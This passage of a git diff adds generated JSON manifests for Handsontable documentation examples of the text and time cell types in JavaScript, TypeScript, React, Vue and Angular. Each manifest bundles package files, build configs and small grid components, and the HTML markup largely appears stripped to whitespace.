    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nconst skuValidator = (value: string, callback: (isValid: boolean) => void) => {\n callback(/^\\d{6}$/.test(value));\n};\n\nnew Handsontable(container, {\n data: [\n { sku: '004821', supplier: 'Harbor Goods', quantity: 142 },\n { sku: '000093', supplier: 'Alpine Supply Co.', quantity: 0 },\n { sku: '017640', supplier: 'Harbor Goods', quantity: 67 },\n { sku: '002210', supplier: 'Crestline Wholesale', quantity: 310 },\n { sku: '008875', supplier: 'Alpine Supply Co.', quantity: 24 },\n ],\n colHeaders: ['SKU', 'Supplier', 'Quantity'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'sku', type: 'text', validator: skuValidator, allowInvalid: false },\n { data: 'supplier', type: 'text' },\n { data: 'quantity', type: 'numeric' },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/text-cell-type/javascript/example2.ts","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example2","exampleTitle":"Adding a validator","docPermalink":"/text-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__react__example1.tsx.json new file mode 100644 index 00000000..370c386f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Text cell type · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/text-cell-type/react/example1.tsx","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/text-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__react__example2.tsx.json new file mode 100644 index 00000000..8f2502b7 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Text cell type · Adding a validator · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst skuValidator = (value: string, callback: (isValid: boolean) => void) => {\n callback(/^\\d{6}$/.test(value));\n};\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/text-cell-type/react/example2.tsx","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example2","exampleTitle":"Adding a validator","docPermalink":"/text-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__vue__example1.vue.json new file mode 100644 index 00000000..f351588f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Text cell type · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/text-cell-type/vue/example1.vue","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/text-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__vue__example2.vue.json new file mode 100644 index 00000000..c9dd0873 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Text cell type · Adding a validator · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/text-cell-type/vue/example2.vue","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example2","exampleTitle":"Adding a validator","docPermalink":"/text-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__time-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__time-cell-type__angular__example1.ts.json new file mode 100644 index 00000000..3d30f022 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__time-cell-type__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Time cell type · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild, ViewEncapsulation, HostListener, ElementRef, inject } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\ninterface ShiftData {\n shift: string;\n start: string;\n breakStart: string;\n end: string;\n}\n\n@Component({\n selector: 'example1-time-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
    \n
    \n
    \n \n {{ selectedLabel }}\n \n \n @if (isOpen) {\n
      \n @for (opt of localeOptions; track opt.value) {\n {{ opt.label }}\n }\n
    \n }\n
    \n
    \n
    \n
    \n \n
    \n `,\n encapsulation: ViewEncapsulation.None\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n isOpen = false;\n locale = 'en-US';\n\n readonly localeOptions = [\n { value: 'ar-AR', label: 'Arabic (Global)' },\n { value: 'cs-CZ', label: 'Czech (Czechia)' },\n { value: 'de-CH', label: 'German (Switzerland)' },\n { value: 'de-DE', label: 'German (Germany)' },\n { value: 'en-US', label: 'English (United States)' },\n { value: 'es-MX', label: 'Spanish (Mexico)' },\n { value: 'fa-IR', label: 'Persian (Iran)' },\n { value: 'fr-FR', label: 'French (France)' },\n { value: 'hr-HR', label: 'Croatian (Croatia)' },\n { value: 'it-IT', label: 'Italian (Italy)' },\n { value: 'ja-JP', label: 'Japanese (Japan)' },\n { value: 'ko-KR', label: 'Korean (Korea)' },\n { value: 'lv-LV', label: 'Latvian (Latvia)' },\n { value: 'nb-NO', label: 'Norwegian Bokmal (Norway)' },\n { value: 'nl-NL', label: 'Dutch (Netherlands)' },\n { value: 'pl-PL', label: 'Polish (Poland)' },\n { value: 'pt-BR', label: 'Portuguese (Brazil)' },\n { value: 'ru-RU', label: 'Russian (Russia)' },\n { value: 'sr-SP', label: 'Serbian Latin (Serbia)' },\n { value: 'zh-CN', label: 'Chinese (Simplified, China)' },\n { value: 'zh-TW', label: 'Chinese (Traditional, Taiwan)' },\n ];\n\n readonly data: ShiftData[] = [\n { shift: 'Morning', start: '09:00', breakStart: '12:00', end: '17:00' },\n { shift: 'Afternoon', start: '13:30', breakStart: '16:00', end: '21:00' },\n { shift: 'Night', start: '22:00', breakStart: '01:00', end: '06:00' },\n { shift: 'Split', start: '08:00', breakStart: '12:30', end: '20:00' },\n { shift: 'Short day', start: '10:00', breakStart: '13:00', end: '15:00' },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Shift', 'Start', 'Break start', 'End'],\n locale: this.locale,\n columns: [\n {\n type: 'text',\n data: 'shift',\n },\n {\n type: 'intl-time',\n data: 'start',\n timeFormat: {\n timeStyle: 'short',\n },\n },\n {\n type: 'intl-time',\n data: 'breakStart',\n timeFormat: {\n hour: '2-digit',\n minute: '2-digit',\n second: '2-digit',\n },\n },\n {\n type: 'intl-time',\n data: 'end',\n timeFormat: {\n hour: 'numeric',\n hourCycle: 'h12',\n dayPeriod: 'short',\n },\n },\n ],\n columnSorting: true,\n filters: true,\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n get selectedLabel(): string {\n return this.localeOptions.find((o) => o.value === this.locale)?.label || '';\n }\n\n private elementRef = inject(ElementRef);\n\n toggleDropdown(): void {\n this.isOpen = !this.isOpen;\n }\n\n selectLocale(value: string): void {\n this.locale = value;\n this.isOpen = false;\n this.hotTable?.hotInstance?.updateSettings({ locale: this.locale });\n }\n\n @HostListener('document:click', ['$event'])\n onDocumentClick(event: MouseEvent): void {\n if (!this.elementRef.nativeElement.querySelector('.theme-dropdown')?.contains(event.target)) {\n this.isOpen = false;\n }\n }\n\n @HostListener('document:keydown', ['$event'])\n onKeydown(event: KeyboardEvent): void {\n if (event.key === 'Escape') {\n this.isOpen = false;\n }\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/time-cell-type/angular/example1.ts","breadcrumb":["Cell Types","Time cell type"],"guide":"guides/cell-types/time-cell-type/time-cell-type.md","guideTitle":"Time cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/time-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__time-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__time-cell-type__javascript__example1.js.json new file mode 100644 index 00000000..9aa32be4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__time-cell-type__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Time cell type · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n
    \n \n English (United States)\n \n \n \n
    \n
    \n
    \n \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\nconst dropdown = document.querySelector('#localeDropdown');\nconst trigger = document.querySelector('#localeTrigger');\nconst menu = document.querySelector('#localeMenu');\nconst label = document.querySelector('#localeLabel');\nconst data = [\n { shift: 'Morning', start: '09:00', breakStart: '12:00', end: '17:00' },\n { shift: 'Afternoon', start: '13:30', breakStart: '16:00', end: '21:00' },\n { shift: 'Night', start: '22:00', breakStart: '01:00', end: '06:00' },\n { shift: 'Split', start: '08:00', breakStart: '12:30', end: '20:00' },\n { shift: 'Short day', start: '10:00', breakStart: '13:00', end: '15:00' },\n];\n\nconst hot = new Handsontable(container, {\n data,\n colHeaders: ['Shift', 'Start', 'Break start', 'End'],\n columns: [\n {\n type: 'text',\n data: 'shift',\n },\n {\n type: 'intl-time',\n data: 'start',\n timeFormat: {\n timeStyle: 'short',\n },\n },\n {\n type: 'intl-time',\n data: 'breakStart',\n timeFormat: {\n hour: '2-digit',\n minute: '2-digit',\n second: '2-digit',\n },\n },\n {\n type: 'intl-time',\n data: 'end',\n timeFormat: {\n hour: 'numeric',\n hourCycle: 'h12',\n dayPeriod: 'short',\n },\n },\n ],\n columnSorting: true,\n filters: true,\n dropdownMenu: true,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n autoWrapRow: true,\n autoWrapCol: true,\n});\n\n// Handle dropdown toggle\ntrigger.addEventListener('click', () => {\n const isOpen = !menu.hidden;\n\n menu.hidden = isOpen;\n trigger.setAttribute('aria-expanded', String(!isOpen));\n});\n\n// Handle locale selection\nmenu.addEventListener('click', (e) => {\n const item = e.target.closest('li[data-value]');\n\n if (item) {\n label.textContent = item.textContent.trim();\n menu.querySelectorAll('li').forEach((li) => li.setAttribute('aria-selected', 'false'));\n item.setAttribute('aria-selected', 'true');\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n hot.updateSettings({ locale: item.dataset.value });\n }\n});\n\n// Close dropdown when clicking outside\ndocument.addEventListener('click', (e) => {\n if (!dropdown.contains(e.target)) {\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n }\n});\n\n// Close dropdown on Escape key\ndocument.addEventListener('keydown', (e) => {\n if (e.key === 'Escape' && !menu.hidden) {\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n trigger.focus();\n }\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/time-cell-type/javascript/example1.js","breadcrumb":["Cell Types","Time cell type"],"guide":"guides/cell-types/time-cell-type/time-cell-type.md","guideTitle":"Time cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/time-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__time-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__time-cell-type__javascript__example1.ts.json new file mode 100644 index 00000000..2eea4bc2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__time-cell-type__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Time cell type · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n
    \n \n English (United States)\n \n \n \n
    \n
    \n
    \n \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\nconst dropdown = document.querySelector('#localeDropdown')!;\nconst trigger = document.querySelector('#localeTrigger')!;\nconst menu = document.querySelector('#localeMenu')!;\nconst label = document.querySelector('#localeLabel')!;\nconst data = [\n { shift: 'Morning', start: '09:00', breakStart: '12:00', end: '17:00' },\n { shift: 'Afternoon', start: '13:30', breakStart: '16:00', end: '21:00' },\n { shift: 'Night', start: '22:00', breakStart: '01:00', end: '06:00' },\n { shift: 'Split', start: '08:00', breakStart: '12:30', end: '20:00' },\n { shift: 'Short day', start: '10:00', breakStart: '13:00', end: '15:00' },\n];\n\nconst hot = new Handsontable(container, {\n data,\n colHeaders: ['Shift', 'Start', 'Break start', 'End'],\n columns: [\n {\n type: 'text',\n data: 'shift',\n },\n {\n type: 'intl-time',\n data: 'start',\n timeFormat: {\n timeStyle: 'short',\n },\n },\n {\n type: 'intl-time',\n data: 'breakStart',\n timeFormat: {\n hour: '2-digit',\n minute: '2-digit',\n second: '2-digit',\n },\n },\n {\n type: 'intl-time',\n data: 'end',\n timeFormat: {\n hour: 'numeric',\n hourCycle: 'h12',\n dayPeriod: 'short',\n },\n },\n ],\n columnSorting: true,\n filters: true,\n dropdownMenu: true,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n autoWrapRow: true,\n autoWrapCol: true,\n});\n\n// Handle dropdown toggle\ntrigger.addEventListener('click', () => {\n const isOpen = !menu.hidden;\n\n menu.hidden = isOpen;\n trigger.setAttribute('aria-expanded', String(!isOpen));\n});\n\n// Handle locale selection\nmenu.addEventListener('click', (e) => {\n const item = (e.target as HTMLElement).closest('li[data-value]') as HTMLLIElement | null;\n\n if (item) {\n label.textContent = item.textContent!.trim();\n menu.querySelectorAll('li').forEach((li) => li.setAttribute('aria-selected', 'false'));\n item.setAttribute('aria-selected', 'true');\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n hot.updateSettings({ locale: item.dataset.value });\n }\n});\n\n// Close dropdown when clicking outside\ndocument.addEventListener('click', (e) => {\n if (!dropdown.contains(e.target as Node)) {\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n }\n});\n\n// Close dropdown on Escape key\ndocument.addEventListener('keydown', (e) => {\n if (e.key === 'Escape' && !menu.hidden) {\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n trigger.focus();\n }\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/time-cell-type/javascript/example1.ts","breadcrumb":["Cell Types","Time cell type"],"guide":"guides/cell-types/time-cell-type/time-cell-type.md","guideTitle":"Time cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/time-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__time-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__time-cell-type__react__example1.tsx.json new file mode 100644 index 00000000..03a1c13b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__time-cell-type__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Time cell type · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
